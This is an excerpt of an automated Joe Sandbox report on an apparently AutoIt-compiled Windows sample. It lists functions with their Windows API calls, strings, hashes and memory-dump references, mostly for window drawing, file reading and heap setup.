Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memset$CloseCreateDialogHandleNtdllProc_Process
String ID:
API String ID: 2364484715-0
Opcode ID: 0b843b464d23d5e9901e7fa6e4614bf92feb40aa58e39610dd6e019cd72c7a53
Instruction ID: ba123c02901551033af6e4b04da2958e9ee3df7a0709ad6b9b018b377475f268
Opcode Fuzzy Hash: 0b843b464d23d5e9901e7fa6e4614bf92feb40aa58e39610dd6e019cd72c7a53
Instruction Fuzzy Hash: F1E04632100308DFCB12EF08DC44E9A37AAFB09340F018091FA015B2B1C731A920EF40

Function 0038F37C Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 0038F3A1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 817873d52c90054c3646b6f9a5e76eedaa521b8b89708d1c4f1a0f493a820b21
Instruction ID: 97cea25caed394ae1eff75006dfa18b0e16fcc6b7f9039f3ad1ed1abad125543
Opcode Fuzzy Hash: 817873d52c90054c3646b6f9a5e76eedaa521b8b89708d1c4f1a0f493a820b21
Instruction Fuzzy Hash: 25E0173520424CEFCB02DF88DC84E8A3BA9FB1A350F040054FD058B361C771A830DB61

Function 0038F3AB Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 0038F3D0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 33534dcdf8d09bb13f66d9a530805e44270d9edfb814c8f7e83d4a2304a54c2c
Instruction ID: 4676c50fc0a13139f01f922138f7cef23686af9371902f7327c8d3470cb2d8fe
Opcode Fuzzy Hash: 33534dcdf8d09bb13f66d9a530805e44270d9edfb814c8f7e83d4a2304a54c2c
Instruction Fuzzy Hash: 24E0173520024CEFCB02DF88D884E8A3BA9FB1A350F040054FD058B362C772A830EBA1

Function 0033B845 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

Part of subcall function 0033B86E: DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0033B85B), ref: 0033B926
Part of subcall function 0033B86E: KillTimer.USER32(00000000,?,00000000,?,?,?,?,0033B85B,00000000,?,?,0033AF1E,?,?), ref: 0033B9BD

NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?,?,0033AF1E,?,?), ref: 0033B864

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$DestroyDialogKillLongNtdllProc_Timer
String ID:
API String ID: 2797419724-0
Opcode ID: ed661e89de3d873028a477bfb164b70b2fb863c7c2b80bd7bdeb0cfc503e5da4
Instruction ID: 5a306df4fcdd6ab7ba4f93c6fe52ec31262dbb304bd1b07791ba07df6350ff6f
Opcode Fuzzy Hash: ed661e89de3d873028a477bfb164b70b2fb863c7c2b80bd7bdeb0cfc503e5da4
Instruction Fuzzy Hash: E1D0127124430C77DB122B61DC07F4D7A1DAF01791F408420F7056D1E1CB7264109555

Function 00348E19 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00348E1F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a0648e3a9207c92ef0c35de64d9b475756fb0cef821aa17f9cd2d5e6011edb6
Instruction ID: 1bdccd5088224b57c88283b0f3e99f23254b589726b3dd1c60dce42b5ee7dbb0
Opcode Fuzzy Hash: 8a0648e3a9207c92ef0c35de64d9b475756fb0cef821aa17f9cd2d5e6011edb6
Instruction Fuzzy Hash: D3A0123000050CA78E011B51EC044447F5CD606250B004010F40D00421873354104981

Function 0034A937 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00346AE9,003D67D8,00000014), ref: 0034A937

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 23821cdf46838ac84ed4de57b11dd6f26d1e9c93ea479c9885ac4a9cc31580c8
Instruction ID: 330149fbdc2c6a6bf2281f5403ed76a974050f4c2cbda29dea792e35565461e0
Opcode Fuzzy Hash: 23821cdf46838ac84ed4de57b11dd6f26d1e9c93ea479c9885ac4a9cc31580c8
Instruction Fuzzy Hash: A1B012B03031024BD74D4F38AC9411A39DC974A301701403D7003C69B1DB349450DF00

Function 00340EC4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: 49ff7af529cbe74261c4634477873cfd256d86ad8813c04bcc9a7001c77d84a0
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 03C1907330559349DF6E463A847483EBBE15AA27B131B076DD8B3CF4C4EE24E5A8D620

Function 003412F9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 28f03a24d91a8ef3320699fee80313d241c215ea9f151d46e6beebd15abe20c6
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 72C1F3732055934ADF2F463AC47483EBAE15AA27B131B07ADD8B3CF5C4EE24E564D620

Function 00340A8F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 07cc71b7ae80d0c844a20bb0e114face40d3ee2d21b91ddf48716b6ee2dd0412
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 98C1B1733052934ADF2F463A847483EBAE19AA27B531B076DD5B2CF4D0EE34E564D620

Function 00340677 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: e8b0d82b299071900784d749a20e105a7f04c65d6dbe3df5b784bbedcf00fc72
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: EAC1AE733091934AEF2E463A847483EBAE15AA27B131B076DD5B3CF4D5EE34E524D620

Function 00332191 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37caefa2e50feac5454f9ea760279e7ec3a3dc3a30a53b1fa09cacefa9542ccc
Instruction ID: 8aca65f4698ca1a3f00c23723ea0b7e84ef10795e69d22eaf23c773005c917f8
Opcode Fuzzy Hash: 37caefa2e50feac5454f9ea760279e7ec3a3dc3a30a53b1fa09cacefa9542ccc
Instruction Fuzzy Hash: 363192350AE2E18FCB13CF74D8E1A827BF0EF4B71531919DAD0808F566C265A056DB52

Function 0037A750 Relevance: 79.2, APIs: 40, Strings: 5, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0037A7A5
DeleteObject.GDI32(00000000), ref: 0037A7B7
DestroyWindow.USER32 ref: 0037A7C5
GetDesktopWindow.USER32 ref: 0037A7DF
GetWindowRect.USER32(00000000), ref: 0037A7E6
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 0037A927
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 0037A937
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037A97F
GetClientRect.USER32(00000000,?), ref: 0037A98B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0037A9C5
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037A9E7
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037A9FA
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037AA05
GlobalLock.KERNEL32(00000000), ref: 0037AA0E
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037AA1D
GlobalUnlock.KERNEL32(00000000), ref: 0037AA26
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037AA2D
GlobalFree.KERNEL32(00000000), ref: 0037AA38
CreateStreamOnHGlobal.COMBASE(00000000,00000001,88C00000), ref: 0037AA4A
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,003AD9BC,00000000), ref: 0037AA60
GlobalFree.KERNEL32(00000000), ref: 0037AA70
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 0037AA96
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 0037AAB5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037AAD7
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0037ACC4

Strings

AutoIt v3, xrefs: 0037A977
, xrefs: 0037AC4A
DISPLAY, xrefs: 0037AB27
@U=u, xrefs: 0037AAB5, 0037AC44
static, xrefs: 0037A9BF, 0037AB16

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $@U=u$AutoIt v3$DISPLAY$static
API String ID: 2211948467-3613752883
Opcode ID: b95a09002710937e4e551f52e6d1b8c3e66029d7134341614b7424082edec37b
Instruction ID: 6a7a1c13fae53ec3f7e082fcd98f95f266d5de67050854415bfbf06200742d3e
Opcode Fuzzy Hash: b95a09002710937e4e551f52e6d1b8c3e66029d7134341614b7424082edec37b
Instruction Fuzzy Hash: 8B028071900115EFDB26DFA4DC89EAE7BB9FF49310F008159F90AAB2A1D734AD41CB61

Function 0038D095 Relevance: 59.8, APIs: 33, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0038D0EB
GetSysColorBrush.USER32(0000000F), ref: 0038D11C
GetSysColor.USER32(0000000F), ref: 0038D128
SetBkColor.GDI32(?,000000FF), ref: 0038D142
SelectObject.GDI32(?,00000000), ref: 0038D151
InflateRect.USER32(?,000000FF,000000FF), ref: 0038D17C
GetSysColor.USER32(00000010), ref: 0038D184
CreateSolidBrush.GDI32(00000000), ref: 0038D18B
FrameRect.USER32(?,?,00000000), ref: 0038D19A
DeleteObject.GDI32(00000000), ref: 0038D1A1
InflateRect.USER32(?,000000FE,000000FE), ref: 0038D1EC
FillRect.USER32(?,?,00000000), ref: 0038D21E
GetWindowLongW.USER32(?,000000F0), ref: 0038D249

Part of subcall function 0038D385: GetSysColor.USER32(00000012), ref: 0038D3BE
Part of subcall function 0038D385: SetTextColor.GDI32(?,?), ref: 0038D3C2
Part of subcall function 0038D385: GetSysColorBrush.USER32(0000000F), ref: 0038D3D8
Part of subcall function 0038D385: GetSysColor.USER32(0000000F), ref: 0038D3E3
Part of subcall function 0038D385: GetSysColor.USER32(00000011), ref: 0038D400
Part of subcall function 0038D385: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0038D40E
Part of subcall function 0038D385: SelectObject.GDI32(?,00000000), ref: 0038D41F
Part of subcall function 0038D385: SetBkColor.GDI32(?,00000000), ref: 0038D428
Part of subcall function 0038D385: SelectObject.GDI32(?,?), ref: 0038D435
Part of subcall function 0038D385: InflateRect.USER32(?,000000FF,000000FF), ref: 0038D454
Part of subcall function 0038D385: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0038D46B
Part of subcall function 0038D385: GetWindowLongW.USER32(00000000,000000F0), ref: 0038D480
Part of subcall function 0038D385: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0038D4A8

Strings

@U=u, xrefs: 0038D273

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID: @U=u
API String ID: 3521893082-2594219639
Opcode ID: 1a85740907f301b31912b9d828f8c580f571fd358f4847e1505b9f50d499aab4
Instruction ID: 0c96ca6fba4b66c606ffa3ec90e3acef1b43a856f76ab6480af6b789e0f4bcb3
Opcode Fuzzy Hash: 1a85740907f301b31912b9d828f8c580f571fd358f4847e1505b9f50d499aab4
Instruction Fuzzy Hash: B0919C72408301BFDB52AF64DC48E6BBBADFF8A320F100A19F962965E0D771D944CB52

Function 0037A3F7 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0037A42A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0037A4E9
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 0037A527
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 0037A539
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 0037A57F
GetClientRect.USER32(00000000,?), ref: 0037A58B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 0037A5CF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0037A5DE
GetStockObject.GDI32(00000011), ref: 0037A5EE
SelectObject.GDI32(00000000,00000000), ref: 0037A5F2
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 0037A602
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0037A60B
DeleteDC.GDI32(00000000), ref: 0037A614
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0037A642
SendMessageW.USER32(00000030,00000000,00000001), ref: 0037A659
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 0037A694
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0037A6A8
SendMessageW.USER32(00000404,00000001,00000000), ref: 0037A6B9
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0037A6E9
GetStockObject.GDI32(00000011), ref: 0037A6F4
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 0037A6FF
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 0037A709

Strings

AutoIt v3, xrefs: 0037A577
msctls_progress32, xrefs: 0037A68A
DISPLAY, xrefs: 0037A5D4
@U=u, xrefs: 0037A648
static, xrefs: 0037A5C9, 0037A6E3

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: @U=u$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2771358697
Opcode ID: ead0560e1d466ad45fea87e136f88fe593b6f6c24762ea8814efecc9b9c9090c
Instruction ID: 3726eb35c8ab25085cdc3400cfb6aaa6f737d9ef73e782f4b527fa73b55cd182
Opcode Fuzzy Hash: ead0560e1d466ad45fea87e136f88fe593b6f6c24762ea8814efecc9b9c9090c
Instruction Fuzzy Hash: 76A16F71A10215BFEB26DBA5DC8AFAE7BBDEB45710F008114F615AB2E0D774AD40CB60

Function 0038D385 Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0038D3BE
SetTextColor.GDI32(?,?), ref: 0038D3C2
GetSysColorBrush.USER32(0000000F), ref: 0038D3D8
GetSysColor.USER32(0000000F), ref: 0038D3E3
CreateSolidBrush.GDI32(?), ref: 0038D3E8
GetSysColor.USER32(00000011), ref: 0038D400
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0038D40E
SelectObject.GDI32(?,00000000), ref: 0038D41F
SetBkColor.GDI32(?,00000000), ref: 0038D428
SelectObject.GDI32(?,?), ref: 0038D435
InflateRect.USER32(?,000000FF,000000FF), ref: 0038D454
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0038D46B
GetWindowLongW.USER32(00000000,000000F0), ref: 0038D480
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0038D4A8
